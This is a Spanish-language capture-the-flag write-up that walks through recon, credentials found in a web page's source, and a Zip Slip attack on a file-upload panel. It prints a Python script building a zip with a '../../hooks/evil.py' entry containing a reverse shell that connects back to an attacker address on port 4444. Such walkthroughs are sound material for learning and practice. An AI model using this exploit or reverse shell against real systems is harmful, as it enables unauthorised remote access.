Introduction

La encuentras en la playa: bonita, normal, el tipo de cosa en la que nadie se fija y comprueba. Mete algo dentro y sostenlo junto a tu oído.
Getting the Flags
Reconocimiento Inicial
Comenzamos realizando un escaneo de puertos abiertos.

Ahora vamos a escanear los puertos abiertos más en profundidad.

Vamos a ver qué hay en la web.

Vemos dos endpoints muy interesantes. Vamos a ver cómo se ve la web.
Profundización
Si miramos el código fuente podemos encontrar usuario y contraseña.

Vamos a probar con dicho par para intentar obtener acceso al endpoint /upload, que es el más jugoso aparentemente.

Hemos entrado al panel donde aparece el endpoint de subida. Vamos a investigar si hay algún tipo de filtro. Si intentamos subir un archivo .php nos dice lo siguiente.

Vamos a crear un archivo .zip de prueba para ver cómo funciona la subida.

Ahora probamos a subirlo.

El mensaje ha cambiado. Vamos a la dirección que nos han dado.

Explotación
Sabemos que está guardando las shells en un directorio /shells/shell-id/. Por lo que podemos inferir que los hooks se están guardando de forma similar. Hay un tipo de ataque llamado Zip Slip que nos permite guardar un nombre con ../../ y estos serán interpretados al descomprimirse.
Vamos a crear un exploit en python que nos devuelva el archivo .zip listo para subir.
import zipfile, json payload = ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[REDACTED]",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")') with zipfile.ZipFile("evil.zip", "w") as z: z.writestr("shell.json", json.dumps({"name": "evil", "assets": ["style.css"]})) z.writestr("style.css", "/* test */") z.writestr("../../hooks/evil.py", payload)
Ahora lo ejecutamos. Y esto nos da el zip para subir. Nos ponemos en escucha:

Y ahora subimos el archivo.

Una vez que el worker llega a los hooks, podemos ver que nos devuelve una shell.

Y una vez allí buscamos la flag.

